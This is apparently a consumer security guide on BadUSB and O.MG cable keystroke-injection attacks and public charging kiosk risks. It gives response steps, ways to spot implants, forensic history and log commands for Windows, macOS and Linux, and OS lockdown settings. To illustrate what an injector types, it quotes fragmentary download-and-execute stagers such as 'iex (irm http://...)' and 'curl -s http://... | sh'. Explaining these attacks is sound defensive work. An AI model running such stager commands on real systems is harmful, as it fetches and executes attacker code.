Malicious USB Cables (HID Injection / BadUSB) and Public Kiosk Defense¶

Plugging your laptop, smartphone, or tablet into an unfamiliar USB-C or Lightning charging cord left behind at a hotel desk, airport gate, rideshare backseat, or conference swag bag, or seeing a Windows Run dialog (Win + R), PowerShell window, or macOS Terminal flash across your screen for 500 milliseconds and start typing at 1,000 words per minute right after connecting a USB cable, flash drive, or presentation clicker, is the signature of a BadUSB / HID (Human Interface Device) Keystroke Injection Attack or Public Charging Kiosk Exploitation ("Juice Jacking"). Unlike traditional malware stored as a file on a thumb drive that antivirus scanners can inspect before opening, weaponized hardware implants such as the O.MG Cable, USB Rubber Ducky, Flipper Zero BadUSB, Bash Bunny, and USBHarpoon embed a miniature microcontroller and Wi-Fi radio directly inside the molded plastic connector shell of an ordinary-looking Apple, Anker, or Samsung charging cord (barely 12 millimeters or 0.47 inches long).

When plugged into your computer or an unlocked smartphone, that hidden microcontroller does not announce itself to your operating system as a storage drive or a charger. Instead, it enumerates over the USB D+ and D- data pins as a standard USB HID Keyboard (Class 0x03) or USB Ethernet Network Adapter (RNDIS / ECM). Because Windows, macOS, Linux, iOS, and Android inherently trust newly plugged-in keyboards without requiring drivers or antivirus scans, the cable immediately fires a pre-programmed sequence of keystrokes (Win + R -> powershell -w hidden -ep bypass ... on Windows, or Cmd + Space -> Terminal on macOS) or triggers a remotely controlled Wi-Fi payload the moment an attacker within 90 meters (300 feet) clicks "Execute" on their phone. For broader wireless hotspot and travel network threats alongside charging ports, also consult our public Wi-Fi, Evil Twin, and juice jacking defense guide. If you face physical threats or extortion, call your local emergency number (911 in the United States and Canada, 112 across the European Union, 999 in the United Kingdom) or see our emergency numbers directory. Follow the immediate hardware isolation and forensic recovery actions below.

Do this now¶

1. YANK the suspected USB cable, flash drive, dock, or charging cord out of your device's port IMMEDIATELY: Every second a BadUSB or O.MG Cable remains plugged into an unlocked computer or phone allows its internal microcontroller (or a nearby attacker connected to the cable's hidden internal Wi-Fi hotspot) to inject keystrokes, exfiltrate data over a hidden USB serial/network channel, or run a hardware keylogger that records every password you type on your external keyboard.
2. Disconnect the affected laptop or phone from Wi-Fi, Ethernet, and Bluetooth right now, and DO NOT type any passwords on that machine: The standard 2-second BadUSB / Rubber Ducky payload does not write a huge program over the slow keyboard interface; instead, it types a 1-line "stager" command into PowerShell (iex (irm http://...)) or macOS Terminal (curl -s http://... | sh) that downloads a full infostealer or remote access trojan over your Wi-Fi connection. Cutting Wi-Fi and Ethernet immediately kills the download or stops exfiltration.
3. If you tapped "Trust This Computer" on your iPhone/iPad or selected "File Transfer (MTP) / Allow USB Debugging (ADB)" on your Android phone at a public charging kiosk, revoke trust immediately:
4. On iPhone / iPad: Unplug the cord, go to Settings > Developer (if visible at the bottom of Settings) -> tap Clear Trusted Computers. If Developer wasn't visible, go to Settings > General > Transfer or Reset iPhone > Reset > Reset Location & Privacy, which cryptographically wipes all paired lockdownd host pairing records so no computer or kiosk can ever access your iPhone backup again without your passcode.
5. On Android: Unplug the cord, go to Settings > System > Developer options (if enabled) -> tap Revoke USB debugging authorizations, and turn Developer options completely OFF.
6. Inspect what the BadUSB keystroke payload just typed on your computer by checking your Run box (RunMRU), PowerShell command log (PSReadLine), and macOS Terminal history: Before rebooting, open a clean terminal window on your offline computer and read the exact command that the fake USB keyboard injected into your system using our forensic audit commands in Phase 2.
7. Preserve the suspicious USB cable or thumb drive in a metal container or Faraday bag (do NOT plug it back into any computer to "see what's on it"): Because an O.MG Cable contains an active ESP8266/ESP32 Wi-Fi transceiver that powers up whenever it receives 5 volts (even when plugged into a dumb USB wall brick or battery bank), plugging it into a wall charger turns on its hidden Wi-Fi access point and allows an attacker outside your hotel room or office to connect to it or trigger its self-destruct (Self-Destruct / Wipe) feature. Leave it completely unplugged.
8. If the BadUSB payload executed a script on your computer while you were logged in, rotate all credentials and revoke active sessions from a separate, clean device: Because 90 percent of modern BadUSB payloads launch an infostealer that grabs browser cookies and saved passwords in 3 seconds, execute our session cookie hijacking and infostealer token revocation guide from a clean smartphone.

Decision tree: responding to a suspected malicious USB cable or public kiosk exposure¶

Use this tactical flowchart to determine whether your device was compromised after plugging into an untrusted USB cable, dock, thumb drive, or public charging station:

flowchart TD
    Event["Plugged Into Unknown USB Cable, Found Flash Drive, Hotel/Airport Kiosk, or Saw Terminal/Run Window Flash on Screen"] --> Unplug["STEP 1: Unplug USB Cable / Device Immediately & Disconnect Wi-Fi / Ethernet"]

    Unplug --> WhatDevice{"Which Device Was Plugged Into the Unknown USB Cord or Port?"}

    WhatDevice -->|"Windows, macOS, or Linux Laptop / Desktop"| ScreenLocked{"Was the Computer Screen LOCKED or UNLOCKED When Plugged In?"}
    WhatDevice -->|"iPhone / iPad (iOS / iPadOS)"| iOSState{"Was the iPhone Unlocked, and Did You Tap 'Trust' or See Typing?"}
    WhatDevice -->|"Android Smartphone / Tablet"| AndroidState{"Was the Phone Unlocked, or Was 'USB Debugging (ADB)' Enabled?"}

    ScreenLocked -->|"Unlocked (Logged Into Desktop)"| AssumeHID["HIGH RISK: BadUSB / O.MG Cable Can Execute Keystrokes (Win+R / Cmd+Space) in <1.5 Seconds Without Any Prompt -> Go to Phase 2 Forensic Audit"]
    ScreenLocked -->|"Locked (Password Screen)"| NetworkDMA["Check If Thunderbolt/PCIe DMA or USB Ethernet (RNDIS/DHCP Poisoning) Occurred; Keystrokes Cannot Bypass Lock Screen Without Your Password"]

    iOSState -->|"Locked the Whole Time (iOS 15+ / USB Restricted Mode)"| iOSSafe["SAFE: Apple 'USB Restricted Mode' Physically Disables Data Pins on Locked iPhones -> Only Power Passed"]
    iOSState -->|"Unlocked & Tapped 'Trust' (Or Saw Safari/Shortcuts Open)"| iOSRevoke["Immediately Run: Settings > General > Transfer or Reset iPhone > Reset > Reset Location & Privacy + Audit Shortcuts App"]

    AndroidState -->|"Locked the Whole Time (Charge-Only Mode)"| AndroidSafe["SAFE: Modern Android Defaults to 'No Data Transfer (Charge Only)' -> No Data Passed"]
    AndroidState -->|"Unlocked & Saw Screen Typing or Approved ADB/MTP"| AndroidRevoke["Disable Developer Options -> Revoke USB Debugging -> Check Installed Apps & Chrome Downloads"]

Understanding how BadUSB, O.MG Cables, and Public Charging Attacks Actually Work¶

To defend yourself effectively, and avoid both under-reacting to a real hardware implant and panicking over harmless charging ports, you need to understand the three distinct technical mechanisms attackers use over USB:

1. BadUSB / HID Keystroke Injection (O.MG Cable, Rubber Ducky, Flipper Zero)¶

• The Fundamental Design Flaw of USB: The Universal Serial Bus (USB) specification allows a single physical connector to declare itself as any device class during enumeration (bInterfaceClass), or even as a Composite Device (declaring itself simultaneously as a USB Flash Drive and a USB Keyboard).
• Inside an O.MG Cable or Malicious Charger: Visually, an O.MG Cable is 100 percent indistinguishable from a genuine braided or white Apple USB-C-to-USB-C, USB-C-to-Lightning, or USB-A cable. It charges your phone and transfers data normally. However, hidden inside the active connector tip is a microscopic dual-core microcontroller with 802.11 Wi-Fi and flash storage:
• Active Keystroke Injection: The moment you plug the cable into an unlocked Windows PC, Mac, or smartphone, the cable enumerates as a generic HID Keyboard and types up to 850 characters per second (DuckyScript). Within 1.5 seconds, it presses Win + R (Windows) or Cmd + Space (Mac), launches a hidden background shell, downloads a payload, and closes the window.
• Inline Hardware Keylogger (For External USB Keyboards): If an attacker swaps the USB cable connecting your external mechanical keyboard to your desktop PC with an O.MG Cable, the implant sits silently in the middle of the wire and records ** up to 650,000 keystrokes** (including your Bitwarden/1Password Master Password, Windows login PIN, and BIOS password) into its internal flash memory, which the attacker downloads wirelessly from outside the building over Wi-Fi.
• Geofenced & Time-Delayed Payloads: Unlike a simple $50 USB Rubber Ducky that types its payload the instant it is plugged in, an O.MG Cable can stay completely dormant as a normal charging cord for days or weeks until it detects your corporate Wi-Fi network (BSSID geofencing) or until the attacker triggers it remotely via its built-in web UI.

2. USB Network Adapter Hijacking (RNDIS / CDC-ECM / PoisonTap / Bash Bunny)¶

• Even if your laptop screen is locked (Win + L or Ctrl + Cmd + Q) so a fake USB keyboard cannot open a terminal window, plugging a malicious USB device into an unlocked USB data port allows the device to enumerate as a High-Priority Gigabit USB Ethernet Adapter (USB RNDIS or CDC-ECM).
• Because Windows and macOS automatically prioritize a newly connected wired Ethernet interface over Wi-Fi, the USB device becomes your laptop's default gateway via DHCP (0.0.0.0/1), intercepts unencrypted local network traffic, responds to WPAD / LLMNR / mDNS queries, or siphons non-HttpOnly background browser cookies.

3. Public Kiosk "Juice Jacking" (MTP / PTP / iOS lockdownd / Android ADB)¶

• When you plug a smartphone into a public USB port (at an airport, train station, hotel headboard, or rental car infotainment unit) using a regular data-capable cable:
• What is blocked automatically: Since iOS 11.4.1 / iOS 15+ (USB Restricted Mode) and Android 9+ (Charge-Only Default), plugging a phone into a USB data port does not automatically expose your photos or files. Data transfer is blocked until you unlock the phone AND explicitly tap "Trust This Computer" (plus enter your iPhone Passcode) or manually switch Android's USB notification from No data transfer to File Transfer (MTP) or Allow USB Debugging.
• Where the real danger lies at public kiosks:
  1. ChoiceJacking & HID Injection on Unlocked Phones: As demonstrated by Graz University of Technology security researchers (ChoiceJacking), if your phone is unlocked in your hand while you plug it into a malicious public USB port, the kiosk can first enumerate as a USB Keyboard (HID) for 200 milliseconds and send the exact Tab / Enter or assistive keystrokes needed to click the "Allow / File Transfer" prompt for you on your screen before switching into host data-transfer mode.
  2. Dirty Power / Over-Voltage Hardware Damage (USB Killer): A sabotaged public USB port can dump 200V DC from a capacitor bank straight into your phone's USB-C controller chip, permanently frying the logic board.

Comparison Matrix: USB Defense Hardware & OS Protections¶

Phase 1: How to Visually and Electrically Detect a Malicious USB Cable (O.MG Cable Audit)¶

If you found a suspicious USB cable in your office, connected to the back of your desktop PC keyboard, or inside your travel bag, follow these four steps to determine whether it is a hardware implant:

1. Test #1: Measure Continuity or Use a Hardware Cable Tester (O.MG Malicious Cable Detector / Bleeping / Hak5 Tester):
2. Standard passive USB-A-to-USB-C, USB-A-to-Lightning, or non-E-Marked USB-C charging cables contain no active microprocessor pulling current when only one end is plugged into power.
3. An O.MG Malicious Cable Detector (or inline USB current/protocol analyzer like a Power-Z KM003C) sits between the power source and the cable with nothing connected to the far end of the cable:
   • If a cable draws 30 to 120 milliamps (mA) of current at 5V when nothing is plugged into the other end, or attempts to negotiate USB D+/D- enumeration by itself, there is an active computer / Wi-Fi radio hidden inside the cable head.
4. Test #2: Check for Hidden Wi-Fi Access Points (O.MG Default SSIDs or ESP32 MAC Prefixes):
5. O.MG Cables and wireless BadUSB implants use an Espressif (ESP8266 / ESP32-S2 / ESP32-C3) Wi-Fi chip inside the connector shell.
6. Using an isolated USB battery bank inside a faraday/isolated area (never your computer), powering an unconfigured or default O.MG cable often broadcasts a 2.4 GHz Wi-Fi network (default SSID O.MG at 192.168.4.1, or a hidden SSID with a MAC Address / BSSID OUI belonging to Espressif Inc. such as 24:0A:C4, 30:AE:A4, 84:CC:A8, A0:20:A6, DC:4F:22, unless spoofed).
7. Test #3: Inspect the Connector Overmold Length and Heat Generation:
8. Compare the plastic strain-relief shell of the suspect cable against a known genuine Apple or Anker cable side-by-side:
   • While recent O.MG Cable generations match Apple's exact shell dimensions, after 3 minutes of receiving 5V power, the connector head containing the active Wi-Fi microcontroller will feel noticeably warm (35 to 45 degrees Celsius / 95 to 113 degrees Fahrenheit) between your fingertips even when no phone is charging on the other end. (A normal passive cable with nothing plugged into the far end remains completely cold at room temperature.)

Phase 2: Forensic Triage If a BadUSB or O.MG Cable Typed on Your Computer¶

If you plugged a USB cable, thumb drive, or peripheral into your Windows PC, Mac, or Linux laptop and saw the Start menu, Run dialog (Win + R), Spotlight (Cmd + Space), or a black/blue terminal window flash open and close, do not reboot yet. Run these exact offline commands to see what the fake USB keyboard typed and what USB Vendor/Product ID (VID:PID) connected to your port:

1. Windows 10 & Windows 11 Forensic Audit (Run in Offline PowerShell)¶

Open PowerShell (Admin) on the offline Windows PC and run these four forensic commands:

# 1. Inspect the exact commands typed into the Windows Run Dialog (Win + R) by the BadUSB keyboard:
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"

# 2. Read the persistent PowerShell command history file (captures commands typed into any PowerShell window):
Get-Content (Get-PSReadLineOption).HistorySavePath -Tail 50

# 3. List all USB HID Keyboards and USB Composite Devices recently connected to this PC (with Timestamps & VID/PID):
Get-PnpDevice -Class Keyboard, HIDClass, USB | ForEach-Object {
    $prop = Get-PnpDeviceProperty -InstanceId $_.InstanceId -KeyName "DEVPKEY_Device_FirstInstallDate", "DEVPKEY_Device_LastArrivalDate" -ErrorAction SilentlyContinue
    if ($prop) {
        [PSCustomObject]@{
            FriendlyName = $_.FriendlyName
            Status       = $_.Status
            InstanceId   = $_.InstanceId
            FirstInstall = ($prop | Where-Object KeyName -match "FirstInstallDate").Data
            LastArrival  = ($prop | Where-Object KeyName -match "LastArrivalDate").Data
        }
    }
} | Sort-Object LastArrival -Descending | Select-Object -First 20 | Format-Table -AutoSize

# 4. Check Windows Event Log 4104 (PowerShell Script Block Logging) for obfuscated payloads executed in the last 24 hours:
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} -MaxEvents 30 -ErrorAction SilentlyContinue |
    Select-Object TimeCreated, Message | Format-List

• How to interpret Get-ItemProperty ... RunMRU:
• Almost every Windows BadUSB / Rubber Ducky script starts by pressing Win + R (GUI r in DuckyScript) and typing a command like powershell -w h -NoP -NonI -Ep Bypass irm https://... | iex or cmd /c curl ....
• Even if the script tries to delete RunMRU at the end, if you yanked the cable out mid-execution (or if the script didn't clear the registry), the exact malicious URL and command will sit right inside RunMRU (a, b, c values) or inside ConsoleHost_history.txt.

2. Apple macOS Forensic Audit (Run in Offline Terminal)¶

On macOS, BadUSB payloads typically press Cmd + Space (GUI SPACE), type Terminal, press Enter, and run a curl or osascript one-liner:

# 1. Check your Zsh and Bash command history for any command injected by the fake USB keyboard:
tail -n 50 ~/.zsh_history ~/.bash_history 2>/dev/null

# 2. Query the macOS Unified Log for all USB device attach events and VID/PID enumerations in the last 2 hours:
log show --predicate 'subsystem CONTAINS "usb" OR process == "kernel"' --info --last 2h | grep -iE "USB|AppleUSB|VID|PID|HID|Keyboard|O.MG"

# 3. Check recently modified LaunchAgents and /tmp payloads:
ls -laht ~/Library/LaunchAgents /Library/LaunchAgents /tmp /var/tmp | head -n 30

3. Linux Forensic Audit (dmesg & journalctl)¶

# Inspect kernel USB enumeration logs to see if a charging cable or thumb drive secretly registered as an "input: ... Keyboard" (HID):
sudo journalctl -k --since "2 hours ago" | grep -iE "usb|hid|input|keyboard|rndis|cdc_ether"
tail -n 50 ~/.bash_history ~/.zsh_history 2>/dev/null

If any of the above logs show that a powershell, cmd, mshta, curl, wget, or osascript command executed while connected to the internet, assume an infostealer or persistent backdoor ran: revoke all sessions using our session cookie hijacking and infostealer guide and perform a clean OS reinstall following our malware, ransomware, and spyware infection guide.

Phase 3: Locking Down Your Devices So BadUSB Cables Can Never Execute Automatically¶

Modern operating systems now include powerful built-in hardware port locks that completely neutralize BadUSB, O.MG Cables, and Rubber Duckies before they can type a single character, provided you turn those settings on:

1. Apple macOS (Apple Silicon M1 / M2 / M3 / M4 MacBooks): Enable "Ask for New Accessories"¶

On Apple Silicon Macs running macOS Ventura, Sonoma, or Sequoia, Apple introduced hardware-level USB-C/Thunderbolt port authorization that blocks any new USB cable or device from enumerating as a keyboard until you explicitly click "Allow": 1. Open Apple Menu () > System Settings > Privacy & Security. 2. Scroll down to the Security section and find "Allow accessories to connect". 3. Change it from Automatically When Unlocked to "Ask for New Accessories" (or "Ask Every Time" for maximum high-security travel protection). 4. Why this stops O.MG Cables cold on a Mac: When you plug in a deceptive O.MG charging cable with "Ask Every Time" or "Ask for New Accessories" enabled, power flows immediately to charge your MacBook battery, but macOS pops up a warning dialog reading: "Allow accessory '[Device Name]' to connect to this Mac?" Because a normal passive charging cable never asks to connect as a data accessory, seeing that pop-up when plugging in a simple charging cord instantly exposes the cable as a hardware implant while blocking 100 percent of its keystrokes until you unplug it.

2. Apple iPhone & iPad: Verify "USB Restricted Mode" is Enabled¶

1. Open Settings > Face ID & Passcode (or Touch ID & Passcode) and enter your passcode.
2. Scroll down to the "Allow Access When Locked" section.
3. Make sure the toggle next to Accessories (or USB Accessories) is turned OFF (gray).
4. With Accessories turned OFF, whenever your iPhone is locked, iOS physically disables the USB data pins, allowing only charging power to pass. Always press the side button to lock your iPhone screen BEFORE plugging it into any unfamiliar charger or rental car.

3. Android 15 / 16 & GrapheneOS: Enable "Advanced Protection" / USB Port Lock¶

• On standard Android (Pixel, Samsung Galaxy):
• Never leave Developer Options > USB Debugging (ADB) enabled when traveling.
• In Settings > Security & privacy > More security settings (or Advanced Protection on Android 15/16+), enable USB protection / Block new USB devices while locked.
• Always lock your screen before connecting to any public charging port so ChoiceJacking HID attacks cannot interact with an unlocked screen.

4. Linux & Windows Enterprise: USBGuard and Device Installation Restrictions¶

• On Linux (USBGuard): Install the usbguard daemon (sudo apt install usbguard), which blocks any newly connected USB device asserting bInterfaceClass 03 (HID Keyboard) if a primary keyboard is already attached or until explicitly authorized via usbguard allow-device.
• On Windows 11 Pro / Enterprise: Enable Kernel DMA Protection (BitLocker + VBS) in Windows Security > Device Security > Core Isolation to stop Thunderbolt/PCIe DMA attacks, and always lock your workstation (Win + L) before plugging in any unfamiliar USB cable so keystroke injectors cannot access a logged-in desktop shell.

Frequently asked questions¶

Can a malicious O.MG Cable or BadUSB cord hack my iPhone or Android phone if I only plug it in while my phone screen is locked?¶

If your iPhone has Settings > Face ID & Passcode > Allow Access When Locked > Accessories turned OFF (the default on iOS 15 through iOS 18) and your screen is locked when you plug the cable in, no data or keystrokes can reach your iPhone because iOS disables the USB data lines at the hardware controller level until you unlock the phone with Face ID or your passcode. However, the moment you unlock your iPhone while that O.MG Cable is still plugged in, the cable can enumerate as an external USB keyboard and rapidly send iOS keyboard shortcuts (such as Cmd + Space to open Spotlight, open Safari to a phishing/configuration profile URL, or trigger Apple Shortcuts). Never keep a found or untrusted USB cable plugged in while unlocking your phone.

How can I tell the difference between a real "Charge-Only" USB cable and a normal USB data cable?¶

Because manufacturers rarely print symbols on cables distinguishing charge-only cords from data cords, the easiest safe test is to plug the cable between a computer and an old non-critical device (or use a $10 inline USB cable pinout continuity tester Board like the Treedix USB Cable Tester, which lights up individual LEDs for every internal wire without booting any microcontroller). On a continuity tester board, a true Charge-Only cable will light up only VBUS and GND (2 LEDs), whereas a data-capable cable will also light up D+ and D- (and CC1/TX/RX on USB-C). Alternatively, keep a dedicated physical USB Data Blocker adapter permanently attached to the tip of your travel charging cord where you can physically look inside the female port and verify with your own eyes that the middle data pins are missing.

Is it safe to plug my own charging cable into the AC power outlet (2-prong / 3-prong wall socket) at an airport or hotel instead of the built-in USB port?¶

Yes, 100 percent safe. A standard 110V / 230V AC electrical wall socket (where you plug in your own Apple, Samsung, or Anker power brick) only carries alternating-current electrical power and has zero data connections capable of communicating with your phone's USB controller. As long as you use your own trusted AC wall adapter brick and your own trusted USB cable, an airport or hotel AC electrical outlet cannot perform Juice Jacking or BadUSB attacks.

Why did Windows pop up "Setting up a device: HID Keyboard Device" when I plugged in a USB flash drive or a vape/e-cigarette charger?¶

Seeing Windows display a toast notification reading "Setting up a device: HID Keyboard Device" when you plugged in something that is not a keyboard (such as a USB flash drive, a charging cable, a cheap desk fan, a digital photo frame, or a vape charger) is the #1 unmistakable smoking gun of a BadUSB / HID Keystroke Injection attack. No legitimate flash drive or charging cable ever needs to register with Windows as a keyboard. Unplug the device immediately, disconnect from Wi-Fi, and run the PowerShell RunMRU and PSReadLine audit commands in Phase 2 to see what command that fake keyboard typed.

Sources checked¶

• Federal Bureau of Investigation (FBI) & Federal Communications Commission (FCC) (United States): Public Service Announcements on Public USB Charging Station Risks ("Juice Jacking") and Malicious Hardware Implants.
• National Security Agency (NSA) & Cybersecurity and Infrastructure Security Agency (CISA) (United States): Mobile Device Best Practices: Travelling Safely with Mobile Phones, Laptops, and USB Peripherals.
• Graz University of Technology (TU Graz InfoSec Research Group): ChoiceJacking: Compromising Mobile Devices through Malicious Chargers via USB HID Injection (USENIX Security Symposium).
• Apple Platform Security Guide: USB Restricted Mode, Accessories Access When Locked, and macOS Apple Silicon USB/Thunderbolt Accessory Authorization Architecture.
• USB Implementers Forum (USB-IF): USB Type-C Authentication, Power Delivery (USB PD), and Human Interface Device (HID Class 0x03) Specifications.

Related guides¶

• Public Wi-Fi, Evil Twin hotspots, and juice jacking defense
• Session cookie hijacking, infostealer malware, and token revocation
• Stalkerware, spyware, and keylogger detection on phones
• Malware, ransomware, and spyware infection
• QR code phishing (quishing) and malicious redirects
• Emergency numbers by country